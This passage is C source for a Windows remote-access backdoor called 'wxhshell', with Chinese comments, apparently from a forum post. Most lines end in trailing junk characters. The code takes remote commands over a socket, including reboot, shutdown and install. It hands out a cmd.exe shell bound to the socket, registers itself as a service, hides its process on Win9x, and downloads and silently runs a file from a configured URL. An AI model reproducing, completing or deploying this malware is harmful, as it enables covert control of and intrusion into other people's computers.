  // 帮助 :~{Nf-y0`1  
  case '?': { sQXj?5!  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); *U mWcFoF  
    break; P3k@ptc-K  
  } F1q6 3  
  // 安装 lVYrP|#  
  case 'i': { W^k|*Y|  
    if(Install()) c+:XaDS-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `3e>JIl"0  
    else J Q% D6b  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {8pN]=SaJ~  
    break; g}OZ!mKd  
    } '* eeup  
  // 卸载 V#,jUH|  
  case 'r': { @OGHS}-\  
    if(Uninstall()) M(Tlkr  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); XCd[<\l  
    else Fl}{"eCF8  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )gHfbUYS  
    break; ;i,3KJ[L  
    } O63:t$Yx#  
  // 显示 wxhshell 所在路径 )Y &RMYy  
  case 'p': { fZgEJsr  
    char svExeFile[MAX_PATH]; 4de:hE   
    strcpy(svExeFile,"\n\r"); i@L_[d^|j`  
      strcat(svExeFile,ExeFile); Db K(Rh_ K  
        send(wsh,svExeFile,strlen(svExeFile),0); HZ[.,DuW  
    break; sW&5Mu-  
    } +A-z>T(  
  // 重启 &e \UlM22  
  case 'b': { \~> .NH-  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); phi9/tO\u  
    if(Boot(REBOOT)) Q;?rqi ,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); WNSY@q  
    else { c->.eL%   
    closesocket(wsh); awl3|k/  
    ExitThread(0); )wNcz~ Y  
    } /@?lV!QiO  
    break; ;-^8lWt  
    } Tn"^`\m  
  // 关机 WRp0.  
  case 'd': { dwqR,|  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 6E{(_i  
    if(Boot(SHUTDOWN)) {u[_^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); QTospHf`  
    else { 57Bxx__S4`  
    closesocket(wsh); ML.|\:r*  
    ExitThread(0); \DcO .`L  
    } qH(HcsgD  
    break; z#B(1uI  
    } E5yn,-GyE0  
  // 获取shell y& (pt!I  
  case 's': { 6xLQ  
    CmdShell(wsh); [nf 5<  
    closesocket(wsh); @~bP|a  
    ExitThread(0); gKP=@v%-  
    break; .q<5OE(f  
  } Gdz*   
  // 退出 'fYF1gR4  
  case 'x': { w!jY(WK U  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); "hnvND4=  
    CloseIt(wsh); V8rS~'{\  
    break; >P ~j@Lv  
    } q1Ad"rm  
  // 离开 4BZ7R,m#.  
  case 'q': { {f\{{JJ]  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ]wwNmmE  
    closesocket(wsh); mFmxEv  
    WSACleanup(); %-[*G;c'w  
    exit(1); YjiMUi\V  
    break; [Z^26/5a  
        } Y+h ?HS  
  } LqLhZBU9  
  } P#}vi$dZ  
*M.,Yoj  
  // 提示信息 <cxe   
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ?R_fg  
} %2\6.c=c  
  } NA$%Up  
^kke  
  return; I|wC`VgB  
} M+I9k;N6&  
-2j[;kgt}  
// shell模块句柄 vSR5F9  
int CmdShell(SOCKET sock) h.wffk,  
{ sL,|+>7T^M  
STARTUPINFO si; 51-'*Y  
ZeroMemory(&si,sizeof(si)); ~14|y|\/  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; RKZBI?@4  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; b~2LD3"3  
PROCESS_INFORMATION ProcessInfo; y t7>,  
char cmdline[]="cmd"; !<out4Mz"  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 0oZZLi  
  return 0; ke k/C`7  
} nd$92H  
?dXAHY  
// 自身启动模式 KWM.e1(  
int StartFromService(void) J#5V>7G  
{ ui-]%~  
typedef struct 0+&K;  
{ -3 Sb%V\  
  DWORD ExitStatus; 6uTC2ka[&R  
  DWORD PebBaseAddress; #=)!\   
  DWORD AffinityMask; 9{e/ V)  
  DWORD BasePriority; @R<z=n"  
  ULONG UniqueProcessId; Z>l|R C  
  ULONG InheritedFromUniqueProcessId; ~7FS'!W,F  
}   PROCESS_BASIC_INFORMATION; X(BX+)YR  
)!U@:x\K  
PROCNTQSIP NtQueryInformationProcess; !p76I=H%  
R"l6|9tmP  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 0$0 215  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; `PUxR8y  
`$XB_ o%@  
  HANDLE             hProcess; 5<e{)$C  
  PROCESS_BASIC_INFORMATION pbi; zg'.fUZ  
0FLCN!i1  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); n 83Dt*O  
  if(NULL == hInst ) return 0; io(!z-$  
:pNS$g[  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); MK1#^9Zr  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); CI\yP@DQ4  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); :I2,  
EZzR"W/  
  if (!NtQueryInformationProcess) return 0; |i~-,:/-Y  
m`):= ^nC  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); WnOvU<Z <  
  if(!hProcess) return 0; h?$J;xn  
*]}F=dtR k  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ExN $J  
4q:8<*W=  
  CloseHandle(hProcess); uc}tTmB|  
fJ0V|o  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); N8k=c3|  
if(hProcess==NULL) return 0; pQ!lY  
d[5v A/8O  
HMODULE hMod; A:D9qp  
char procName[255]; '9zKaL  
unsigned long cbNeeded; q@~{ g[   
wjZ Q.T!  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 5`$!s17  
mP/#hwzB&q  
  CloseHandle(hProcess); (+0(A777M  
k}I65 ^l#  
if(strstr(procName,"services")) return 1; // 以服务启动 %#PWD7a\  
>,tJq %  
  return 0; // 注册表启动 <RpTk*Yo^=  
} tIV{uVM[|D  
_cC1u7U9  
// 主模块 y\(xYB>T  
int StartWxhshell(LPSTR lpCmdLine) hoM%|,0  
{ ya5HAs  
  SOCKET wsl; a(*"r:/lD  
BOOL val=TRUE; $G6kS@A  
  int port=0; _L` uC jA  
  struct sockaddr_in door; Dgc6rv#  
evD=]iVD  
  if(wscfg.ws_autoins) Install(); C[hNngb7R  
E2t& @t%W  
port=atoi(lpCmdLine); -q[x"Ha%  
nd,\<}uP9  
if(port<=0) port=wscfg.ws_port; J]zhwM  
W`c$2KS?DO  
  WSADATA data; :SW vH-]  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 6v]`s  
{T,}]oX  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   =S6bP<q  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); H3vnc\d~  
  door.sin_family = AF_INET; f Ayh9  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 64 'QTF{D  
  door.sin_port = htons(port); n[r1h=?j3  
PhV/WjCZ  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { w1(5,~OB  
closesocket(wsl); F(Zf=$cx  
return 1; @8w5Oudvx  
} 1*$6u5.=F  
\,n X/f  
  if(listen(wsl,2) == INVALID_SOCKET) { @%*@Rar  
closesocket(wsl); N !ay#V  
return 1; @$L|   
} ~`^kP.()  
  Wxhshell(wsl); !>ZBb\EyK  
  WSACleanup(); #`U?,>2q  
5-k gGOt  
return 0; AZ^>osr  
`F1Yfm jZT  
} 1:- M<=J?f  
R/fE@d2~In  
// 以NT服务方式启动 8''1H<f  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) n9 FA` e  
{ ,' t&L]  
DWORD   status = 0; -|s% 5p|  
  DWORD   specificError = 0xfffffff; -^t.eZ*|  
hVT>HER  
  serviceStatus.dwServiceType     = SERVICE_WIN32; \*BRFUAc  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; vN@04a\h  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; {iq^CHAVK  
  serviceStatus.dwWin32ExitCode     = 0; s?;V!t  
  serviceStatus.dwServiceSpecificExitCode = 0; #lSGH 5Fp?  
  serviceStatus.dwCheckPoint       = 0; 2XV|(  
  serviceStatus.dwWaitHint       = 0; Oml3=TV  
-kP2Brm  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 'qo(GGC M  
  if (hServiceStatusHandle==0) return; zL50|U0H  
qK@,O \  
status = GetLastError(); sAs`O@  
  if (status!=NO_ERROR) _Gb 7n5p  
{ P,F5Hf  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; S:xs[b.ZZ  
    serviceStatus.dwCheckPoint       = 0; 4DP<)KX  
    serviceStatus.dwWaitHint       = 0; ){u# (sW  
    serviceStatus.dwWin32ExitCode     = status; )' ,dP)b  
    serviceStatus.dwServiceSpecificExitCode = specificError; @m:' L7+  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); -;HZ!Lf  
    return; ]d%Ou]609  
  } iWUxB28  
'cIFbjJ  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 1GLb^:~A  
  serviceStatus.dwCheckPoint       = 0; @Xh8kvc81  
  serviceStatus.dwWaitHint       = 0; $(OL#>9Ly  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); zH~g5xgh  
} 8F)9.s,*  
ntL%&wY  
// 处理NT服务事件,比如:启动、停止 [5M!'  
VOID WINAPI NTServiceHandler(DWORD fdwControl) KM^}d$x}s  
{ AGVipI #  
switch(fdwControl) M3GFKWQI,`  
{ *l0i}"T^_  
case SERVICE_CONTROL_STOP: RJN LcIm  
  serviceStatus.dwWin32ExitCode = 0; (V/! 0Lj  
  serviceStatus.dwCurrentState = SERVICE_STOPPED;  Bv%dy[I  
  serviceStatus.dwCheckPoint   = 0; 91T[@p  
  serviceStatus.dwWaitHint     = 0; :N xksL^  
  { b+CvA(*  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); V|nJ%G\  
  } [E}pU8.t6  
  return; A/j'{X!z  
case SERVICE_CONTROL_PAUSE: %V!!S#W  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; *iPBpEWC  
  break; W%9"E??c  
case SERVICE_CONTROL_CONTINUE: (Fk&~/SP  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; wG22ffaki  
  break;  Zzr  
case SERVICE_CONTROL_INTERROGATE: @XKVdtG  
  break; n{c-3w.uD  
}; k.H4Mf(4  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); cavzXz  
} )f%Q7  
-N2m|%B  
// 标准应用程序主函数 W}\<}dK  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) lstnxi%x  
{ |q_Hiap#a  
.Na'yS `J  
// 获取操作系统版本 r`:dUCFE  
OsIsNt=GetOsVer(); H<`7){iG  
GetModuleFileName(NULL,ExeFile,MAX_PATH); )Vx C v  
l-[5Zl;"  
  // 从命令行安装 r9^~I  
  if(strpbrk(lpCmdLine,"iI")) Install(); NX<Q}3cC  
NbhQ-  
  // 下载执行文件 CH=k=)() ]  
if(wscfg.ws_downexe) { v,c:cKj  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) M j |"+(  
  WinExec(wscfg.ws_filenam,SW_HIDE); 2fdC @V  
} V"sm+0J  
4({Wipd  
if(!OsIsNt) { J)=Ts({  
// 如果时win9x,隐藏进程并且设置为注册表启动 5cC)&}I  
HideProc(); IeE6?!,)  
StartWxhshell(lpCmdLine); 8d\/  
} YR68'Sft[  
else 1Q??R }  
  if(StartFromService()) xO'xZ%cUI  
  // 以服务方式启动 At8^yF   
  StartServiceCtrlDispatcher(DispatchTable); C6}`qD  
else n0'"/zyc  
  // 普通方式启动 CLY>M`%?+p  
  StartWxhshell(lpCmdLine); dw< b}2  
^9*Jz{e  
return 0; -- |L?-2k,  
}
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只看该作者 1 发表于: 2006-10-10
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